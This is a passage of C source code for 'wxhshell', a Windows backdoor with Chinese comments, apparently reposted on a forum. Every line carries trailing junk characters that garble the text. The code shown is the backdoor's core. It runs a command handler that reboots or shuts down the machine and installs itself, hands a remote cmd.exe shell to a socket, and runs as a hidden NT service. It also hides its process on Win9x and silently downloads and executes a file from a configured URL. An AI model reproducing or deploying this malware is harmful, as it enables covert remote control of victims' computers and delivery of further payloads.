      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z52T"uW  
    break; $+P9@Q$  
  } \7z&iGe!  
  // 安装 Zy^mSI4i  
  case 'i': { *A}QBZ  
    if(Install()) 2Cn^<(F^4I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -dbD&8  
    else [tDUR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); % INRds  
    break;  b<v\  
    } ) ?rJKr[`  
  // 卸载 Ao)hb4ex  
  case 'r': { 1L1_x'tT%  
    if(Uninstall()) FrD.{(/~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f 'aQ T  
    else ']^e,9=Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G|FF  
    break; jq(3y|6,  
    } CBdS gHA3>  
  // 显示 wxhshell 所在路径 7 y}b (q=  
  case 'p': { k+S+ : 5  
    char svExeFile[MAX_PATH]; -a(f-  
    strcpy(svExeFile,"\n\r"); =1t#$JG  
      strcat(svExeFile,ExeFile); m)9N9Ii#)  
        send(wsh,svExeFile,strlen(svExeFile),0); rZ<0ks  
    break; > kOca  
    } k7P~*ll$  
  // 重启 aVvi_cau  
  case 'b': { EJY[M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K;;Q*NN-  
    if(Boot(REBOOT)) "6rZn_H/|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kb1{ ;c:  
    else { jQ.]m   
    closesocket(wsh); +aRjJ/*  
    ExitThread(0); <\Nf6>_qEM  
    } <b"ynoM.A  
    break; P;0tI;  
    } c.jq?Q k  
  // 关机 8}h ^Frh  
  case 'd': { ?^P#P0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nW+rJ  
    if(Boot(SHUTDOWN)) :7%JD.;W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6"Q/Y[y  
    else { , RfU1R  
    closesocket(wsh); &3v{~Xg)  
    ExitThread(0); on(P  
    } ~J!a?]  
    break; #EtS9D'd+  
    } Mp; t?C4  
  // 获取shell ], Wh]q  
  case 's': { $+Ke$fq.>  
    CmdShell(wsh); E (tdL,m'  
    closesocket(wsh); g(<02t!OT=  
    ExitThread(0); m3XL;1y:a  
    break; B#o(21s  
  } Dr6"~5~9w  
  // 退出 OO_{ o  
  case 'x': { LA$uD?YA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1Lwi?~!LI  
    CloseIt(wsh); C3-l(N1O{  
    break; 0X+Jj/-ge  
    } =N01!?{  
  // 离开 k\_>/)g  
  case 'q': { 7|PpAvMF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iQ*JU2;7 t  
    closesocket(wsh); _dppUUm  
    WSACleanup(); nk9hQRP? 8  
    exit(1); OTd=(dwh  
    break; PYr#vOH  
        } &Th/Qv}[  
  } V S2p"0$3D  
  } @]tFRV  
(xK=/()}q  
  // 提示信息 xr!FDfM.K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N^q*lV#kob  
} 7M}T^LC  
  } i:OD)l  
aW %ulZ  
  return; z_!P0`  
} ZA>hN3fE'  
^mFuZ~g;?  
// shell模块句柄 UY j  
int CmdShell(SOCKET sock) ?yddr`?W  
{ ih2H~c>O  
STARTUPINFO si; :Y y+%  
ZeroMemory(&si,sizeof(si)); wQb")3dw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >!A&@1[M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ru3nnF_I  
PROCESS_INFORMATION ProcessInfo; ,!kqEIp%  
char cmdline[]="cmd"; kJy<vb~   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *La*j3|:  
  return 0; Rg<y8~|'}  
} zF<*h~  
s!Y>\3rMW  
// 自身启动模式 0@,,YZ f  
int StartFromService(void) )gvX eJ  
{ Y[$[0  
typedef struct ~6!=_"  
{ C5i]n? )S  
  DWORD ExitStatus; 9/D+6hJ]:  
  DWORD PebBaseAddress; + }(  
  DWORD AffinityMask; k<"ZNQm$.  
  DWORD BasePriority; :~:(49l  
  ULONG UniqueProcessId; Xo(K*eIN  
  ULONG InheritedFromUniqueProcessId; L GK0V!W  
}   PROCESS_BASIC_INFORMATION; HCb7 `(@  
QYVT"$=  
PROCNTQSIP NtQueryInformationProcess; g-oHu8   
.zlUN0oe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E~2}rK+#)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rv;w`f  
ub}t3#  
  HANDLE             hProcess; [rU8%  
  PROCESS_BASIC_INFORMATION pbi; H h$D:ZO  
.pu]21m=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fbNVmjb$)  
  if(NULL == hInst ) return 0; $Xk1'AzB8  
7 -gt V#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \M=" R-&b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e_g7E+6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1P3^il7  
ED[PP2[/  
  if (!NtQueryInformationProcess) return 0; \4~uop,Nb+  
$oq&uL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VZb0x)w  
  if(!hProcess) return 0; 6T"[M  
mcb0%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hn)mNb!  
GasIOPzK  
  CloseHandle(hProcess); |6"zIHvtc  
vxZvK0b620  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'RTz*CSZ  
if(hProcess==NULL) return 0; ZR6KE_  
&0K H00l  
HMODULE hMod; 4B-v\3Ff  
char procName[255]; j?g{*M  
unsigned long cbNeeded; wCkhE,#-_  
JDD(e_dw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); opjrU$<]N  
\.9-:\'(  
  CloseHandle(hProcess); %z`bu2  
<{3VK  
if(strstr(procName,"services")) return 1; // 以服务启动 :I+%v  
fHb0pp\[.  
  return 0; // 注册表启动 Y=x]'3}^  
} 7zgU>$i  
.^l;3*X@  
// 主模块 or]8;eQ?  
int StartWxhshell(LPSTR lpCmdLine) r_-iOxt~5  
{ xdXt  
  SOCKET wsl; ,l#V eC  
BOOL val=TRUE; c+_F nA  
  int port=0; g Uy >I(  
  struct sockaddr_in door; @PU%BKe  
,N< xyx.  
  if(wscfg.ws_autoins) Install(); xx#; )]WT  
9%$4Ux*q  
port=atoi(lpCmdLine); "So+  
`Q, moz  
if(port<=0) port=wscfg.ws_port; Qi w "x,  
7 H.2]X  
  WSADATA data; J5mMx)t@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; teg LGp@_  
U5Q `r7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &xj?MgdNL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p3\F1](Z  
  door.sin_family = AF_INET; L/F!Y%=;[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m.&z:`x[  
  door.sin_port = htons(port); hof:36 <  
bs kG!w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wZ0$ylEX  
closesocket(wsl); a^@6hC>sr  
return 1; >IJH#>i  
} f]qP xRw  
:;#^h]Q  
  if(listen(wsl,2) == INVALID_SOCKET) { dTB^6 >H  
closesocket(wsl); T5=3 jPQ  
return 1; N*f?A$u/I  
} {uM*.]  
  Wxhshell(wsl); (ye1t96  
  WSACleanup(); Y#=0C*FS  
sPyq.oG  
return 0; ^r?ZrbSbz  
lSPQXu*[  
} jav7V"$  
\3"4;fM!i  
// 以NT服务方式启动 LS}u6\(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fk<0~ tE  
{ 7YV}F9h4  
DWORD   status = 0; @a'Rn  
  DWORD   specificError = 0xfffffff; %|*tL7  
 Eh^c4x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DJdW$S7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o+*YX!]#L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Bk_23ygO_  
  serviceStatus.dwWin32ExitCode     = 0; bX Q*d_]WT  
  serviceStatus.dwServiceSpecificExitCode = 0; ^RAst1q7  
  serviceStatus.dwCheckPoint       = 0; )[C]1N=tK  
  serviceStatus.dwWaitHint       = 0; z\]]d?d?;  
7 y5`YJ}!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G|H+ ,B  
  if (hServiceStatusHandle==0) return; --6C>iY[&u  
 SP?~i@H  
status = GetLastError(); x"9`w 42\r  
  if (status!=NO_ERROR) tBd-?+~7  
{ 0Dv r:]R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dY5 m) ?  
    serviceStatus.dwCheckPoint       = 0; ]0p] u d&  
    serviceStatus.dwWaitHint       = 0; 7hQXGY,q  
    serviceStatus.dwWin32ExitCode     = status; InBnU`(r  
    serviceStatus.dwServiceSpecificExitCode = specificError; v6uR[18  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1xP*  
    return; 1YV ;pEw3w  
  } 0/5 a3-3{  
++w7jVi9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  ?12[8   
  serviceStatus.dwCheckPoint       = 0; t6DgWKT6  
  serviceStatus.dwWaitHint       = 0; 9AF%Y:y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OyH>N/  
} }$i Kz*nx|  
/>Kd w  
// 处理NT服务事件,比如:启动、停止 O?L6Ues  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i=T!4'Zu  
{ JN)@bP  
switch(fdwControl) NXo$rf:  
{ Of0(.-Q w  
case SERVICE_CONTROL_STOP: ]s_,;PGU  
  serviceStatus.dwWin32ExitCode = 0; eocq Hwbv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (SGX|,5X7  
  serviceStatus.dwCheckPoint   = 0; ;O8'vp  
  serviceStatus.dwWaitHint     = 0; |`eHUtjH  
  { ~/^q>z!\4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iOY: a  
  } K93L-K^J  
  return; qJ(XW N H  
case SERVICE_CONTROL_PAUSE: X!,huB^i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7}#zF]vHNi  
  break; 42$ pvw<  
case SERVICE_CONTROL_CONTINUE: P^[eTR*?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *I]/ [d  
  break; Q~k5 }n8  
case SERVICE_CONTROL_INTERROGATE: sbv2*fno5  
  break; &A}hx\_T  
}; HpP82X xj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8ShIn@|32  
} V#X#rDfJZ  
;n,xu0/  
// 标准应用程序主函数 H46N!{<;@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G+7#!y Y  
{ 0\zY?UUww  
AjVX  
// 获取操作系统版本 :A7\eN5  
OsIsNt=GetOsVer(); uM)#T*(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >piVi[`  
'VgEf:BS  
  // 从命令行安装 TB}6iIe  
  if(strpbrk(lpCmdLine,"iI")) Install(); <*Nd%Ca  
5o6X.sC8e  
  // 下载执行文件 +Tt.5>N  
if(wscfg.ws_downexe) { P{,A%t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J6 J">  
  WinExec(wscfg.ws_filenam,SW_HIDE); .af+h<RG4$  
} "%}24t%  
brCXimG&jo  
if(!OsIsNt) { 40%fOu,u`  
// 如果时win9x,隐藏进程并且设置为注册表启动 j(A>M_f;  
HideProc(); c=,HLHpFO(  
StartWxhshell(lpCmdLine); %2wr%*h  
} &V| kv"Wwj  
else b)eoFc)lc  
  if(StartFromService()) gky+.EP.  
  // 以服务方式启动 dGglt Y  
  StartServiceCtrlDispatcher(DispatchTable); cJerYRjsL  
else qjObu\r  
  // 普通方式启动 q68CU~i*  
  StartWxhshell(lpCmdLine); L{&>,ww  
s"@}^ )*}  
return 0; ebn3r:IU-  
}
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只看该作者 1 发表于: 2006-10-10
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